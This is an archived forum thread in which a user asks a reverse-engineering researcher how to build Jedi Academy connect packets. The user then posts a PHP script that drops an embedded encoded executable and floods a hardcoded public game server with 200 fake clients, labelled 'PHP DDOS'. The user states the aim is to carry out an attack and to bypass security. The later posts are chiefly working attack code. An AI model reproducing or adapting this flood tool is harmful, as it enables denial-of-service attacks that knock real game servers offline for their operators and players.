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Luigi Auriemmaaluigi.org (ARCHIVE-ONLY FORUM!) |
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It is currently 19 Jul 2012 13:22
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[ 13 posts ] |
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euphoria
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Post subject: Jedi Academy Connect!? Posted: 04 Oct 2010 12:24 |
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Joined: 04 Oct 2010 09:31 Posts: 10
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Hi Aluigi! What should be a package (\ xFF \ xFF \ xFF \ xFFconnect \ x00) for the game Jedi Academy? I just want to make the same with PHP Tried to decode a q3huffdecenc, but nothing good will come ... apparently my sniffer bad (maybe) As you can decode and encode .... connect back? How are they encrypted? Just have the desire to make this further through a proxy server (to bypass the security) http://translate.google.ru translated from Russian
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aluigi
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Post subject: Re: Jedi Academy Connect!? Posted: 04 Oct 2010 14:18 |
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Joined: 13 Aug 2007 21:44 Posts: 4068 Location: http://aluigi.org
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euphoria
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Post subject: Re: Jedi Academy Connect!? Posted: 06 Oct 2010 05:47 |
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Joined: 04 Oct 2010 09:31 Posts: 10
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Received, that such a result: Code: ????????connect "\challenge\1234567890\qport\18468\protocol\26\name\Padawan\rate\24000\snaps\38\model\mara_ponytail/default\forcepowers\7-1-030000000000000330\color1\4\color2\4\handicap\100\sex\male\cg_predictItems\1\saber1\dual_1\saber2\none\char_color_red\255\char_color_green\255\char_color_blue\255\teamtask\0" But when you send all of this, the server responds: Code: Server uses protocol version 26 I sent the "connect" with no encryption. Perhaps because of this there is this error?
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aluigi
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Post subject: Re: Jedi Academy Connect!? Posted: 06 Oct 2010 15:11 |
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Joined: 13 Aug 2007 21:44 Posts: 4068 Location: http://aluigi.org
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you need to compress the part after "connect" (from offset 12) with huffman as you must do for almost any q3 game. in my code I use ever the q3huff.h code: new_size = Huff_CompressPacket(packet, 12, old_size);
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euphoria
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Post subject: Re: Jedi Academy Connect!? Posted: 07 Oct 2010 12:04 |
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Joined: 04 Oct 2010 09:31 Posts: 10
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<? $ip = '86.110.181.156'; $port = 29070;
$s = fsockopen("udp://$ip", "$port"); fwrite($s, "\xFF\xFF\xFF\xFFgetchallenge\x20");
/*q3huffdecenc.exe*/ $str = "ff ff ff ff 63 6f 6e 6e 65 63 74 20 01 2a 44 74 30 8e 05 0c c7 26 c3 14 ec 8e f9 67 30 1a 26 c1 4c 58 00 eb c3 76 b0 2f 1c 03 67 c3 90 c2 d1 71 08 ec 15 27 c3 45 a3 9b 8d f2 dc b2 c7 e6 c9 f1 a3 24 63 8b 29 28 54 8e 09 39 dc ad e5 7e 96 f5 94 8a 59 89 33 bc 18 ad 37 eb 9b ac 65 df a5 c3 e8 67 a7 05 cf 41 19 cb 97 41 bf 8a 89 19 13 5c 71 54 ec 7b d5 e9 6b 7b 6b 7a 36 b4 0b e8 5c e6 13 ed d9 23 a9 7c a4 3a e3 c5 bd 7d 1b 17 cc bf fc e6 6d c2 fd ae a7 06 49 39 99 c6 23 c7 02 27 e1 de e2 e7 fb 32 e9 1a 49 67 c7 19 16 34 0b 8c 0c 74 c5 f1 fc 65 8c 9a b2 0e 63 8c 1a cf bc 2e 0b 47 bf b2 27 c5 73 4e b3 72 a9 95 03 0c 4c ef 91 aa 9b 90 2f 9e af 6c 51 f0 ef 25 d5 5f 97 26 d3 63 92 3b f3 a5 7c ac bd bc 00"; /*q3huffdecenc.exe*/
$str = str_replace("\r\n"," ",$str); $str = explode(" ",$str); for($i=0;$i<=(count($str)-1);$i++){ $res .= chr(hexdec($str[$i])); }
fwrite($s, $res); $var[1] = fread($s, 1024); $var[2] = fread($s, 1024);
echo $var[2]; #????????print No or bad challenge for address.
?>
Here's what happened ... I sent an encrypted package ...
the first request I received ".... challengeResponse 756858973 " second query, I get ".... print No or bad challenge for address. "
obtained to carry out an attack, you want to insert desired challengeResponse? encrypt it? and to send?
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aluigi
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Post subject: Re: Jedi Academy Connect!? Posted: 07 Oct 2010 14:25 |
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Joined: 13 Aug 2007 21:44 Posts: 4068 Location: http://aluigi.org
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obviously if you don't use the correct challenge received it will never work, so: - send getchallenge - receive challengeresponse and take the number - build the connect packet using \challenge\number_received - compress it - send it
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euphoria
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Post subject: Re: Jedi Academy Connect!? Posted: 07 Oct 2010 14:42 |
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Joined: 04 Oct 2010 09:31 Posts: 10
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Bad that PHP has no compression Huffman I used some PHP classes However, they incorrectly coded ...
If I do not find the right class, you will have to postpone this venture ( Or find a host to host your code there. And remotely ready line to be sent later.
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euphoria
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Post subject: Re: Jedi Academy Connect!? Posted: 11 Oct 2010 06:35 |
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Joined: 04 Oct 2010 09:31 Posts: 10
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<?php $ip = '90.189.192.33'; $port = 29070; $num = 200; set_time_limit(666);
/*huff.h Luigi*/ $q3huffdecenc = (split("\r\n",(gzuncompress(base64_decode('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ZgO6x9zdFYKtAmnbzN2RqBImD5q7Y4rPTx7CJ3Cazd39saDKZGLmPl8oFOlCeMDcp/R1RQ8jfARh sITw4+aowg4VaF80R2PBsNrN/kgxg9r84LQZhDsTjD5ijgd7wr5Q4SM49l2Nex5t3H3fvRX+EKM7 gNYXP9QVUw1K+cH/v77cziet/S+XDhXs ')))));
$var = (split("\r\n",(gzuncompress(base64_decode('eNpdj0tuwzAMRK9SZB9Ukj9xj9BdDjCAwciME1QmVUlG2tO7StpFUK6Gj5gZcNu2zasI+/Kyg79Q CCwzw7qm7frD8GbwGTUV2KHtB8SkRb0GuB5CC+NIE91IkKgwXGuMQRaKGc2ARScOWCjRGFW+C13D 68RnWkPBWZPnqDdOGYe93ZvGPE/TGNQaTRbtr3BVXEimq6cIe6/hr5odGH4eY+J6KO+FlwyLTCeu zmmlMP5tDqLC9wfT+MgbqwWu657RnJjlPzyFlR+sMC2F8gfM7gcSjXDq '))))); fwrite(fopen('q3huffdecenc.exe','w'),$q3huffdecenc[0]); # q3huffdecenc.exe $gh = $var[0]; function name($name,$ip,$port,$gh){ fwrite(fopen('huff.txt','w'),$gh); # String SEND(write) $huff = fread(fopen('huff.txt','r'),filesize('huff.txt')); $ff = fsockopen("udp://$ip", "$port"); #sock
$packet = '????????getstatus '; fwrite($ff, $packet); $str = fread($ff, 4000); $players = floor((substr_count($str, "\n")-2)); #??????-???? ?????????????? $tr = explode(base64_decode('Cg=='), $str); $array = explode(base64_decode('XA=='), $tr[1]); $strtolower = explode(base64_decode('XA=='), strtolower($tr[1])); $sv_maxclients = $array[(array_search(strtolower('sv_maxclients'),$strtolower)+1)] ;
echo $players.'!'.$sv_maxclients;
fwrite($ff, "\xFF\xFF\xFF\xFFgetchallenge\x20"); $sp = explode(' ',fread($ff,1024)); $string = explode("\\",$huff); #2 - challenge 8 - name $string[2] = $sp[1]; # challenge $string[4] = rand(10000,99999); # chellenge $string[8] = $name; # name echo "<PRE>"; print_r($string); echo "</PRE>"; $write = implode("\\",$string); echo $write; fwrite(fopen('huff.txt','w'),$write); $str = `q3huffdecenc e huff.txt`; # HUFFMAN Luigi $s = explode('ff ff ff ff 63 6f 6e 6e 65 63 74 20',$str); $s = explode("\n",$s[1]); for($i=0;$i<=count($s);$i++){ $r_ = explode(' ',$s[$i]); $r .= $r_[0]; } $hex = str_replace(' ','', $r); for($i=0;$i<=strlen($hex);$i++){ if(!($i%2)&&$hex[$i]!=null){$j .= '\x'.strtoupper($hex[$i]);}else{$j .= strtoupper($hex[$i]);} } $res = explode('\x',$j); for($i=1;$i<=(count($res)-1);$i++){ $rs .= chr(hexdec($res[$i])); } $connect = '????????connect '.$rs;
if($players<$sv_maxclients)fwrite($ff, $connect); else sleep(1);
fclose($ff); }
for($e=0;$e<=$num;$e++){ $name = "^7PHP DDOS by ^^".rand(1,8)."Euphoria"; name($name,$ip,$port,$gh); }
?>
Poor implementation in PHP ... Because PHP takes the result of your program "q3huffdecenc.exe"
That is, PHP creates a "q3huffdecenc.exe, huff.txt". Then read "HUFFMAN" result.
Connection to the server occurs. Well. But I can not understand! what algorithm is used in your program.
Adaptive "HUFFMAN"? OFFSET 12? What is it? I could not achieve that result. Encodes is not the way it does "q3huffdecenc.exe"
Can you tell me how to code like this line ...
String - AASD ? Please, just want to make the implementation in PHP all the way!
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euphoria
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Post subject: Re: Jedi Academy Connect!? Posted: 12 Oct 2010 15:18 |
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Joined: 04 Oct 2010 09:31 Posts: 10
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Now I know that the "Offset" But is it really uses adaptive Huffman?
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aluigi
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Post subject: Re: Jedi Academy Connect!? Posted: 12 Oct 2010 22:39 |
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Joined: 13 Aug 2007 21:44 Posts: 4068 Location: http://aluigi.org
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don't know, anyway in the past I tried some other huffman algorithms but they didn't work, but it's enough normal with compression algorithms
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euphoria
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Post subject: Re: Jedi Academy Connect!? Posted: 13 Oct 2010 08:05 |
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Joined: 04 Oct 2010 09:31 Posts: 10
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I understand you yourself wrote huff.h? And maybe you know exactly what algorithm is used: static, adaptive or dynamic Huffman.
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aluigi
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Post subject: Re: Jedi Academy Connect!? Posted: 13 Oct 2010 10:08 |
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Joined: 13 Aug 2007 21:44 Posts: 4068 Location: http://aluigi.org
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oh no no, it's just the one of id software, I simply changed some micro things to make it usable without problems
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euphoria
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Post subject: Re: Jedi Academy Connect!? Posted: 13 Oct 2010 13:58 |
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Joined: 04 Oct 2010 09:31 Posts: 10
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Clearly, the bad, that I do not know this programming language. I can not understand the algorithm. Thanks Luigi!
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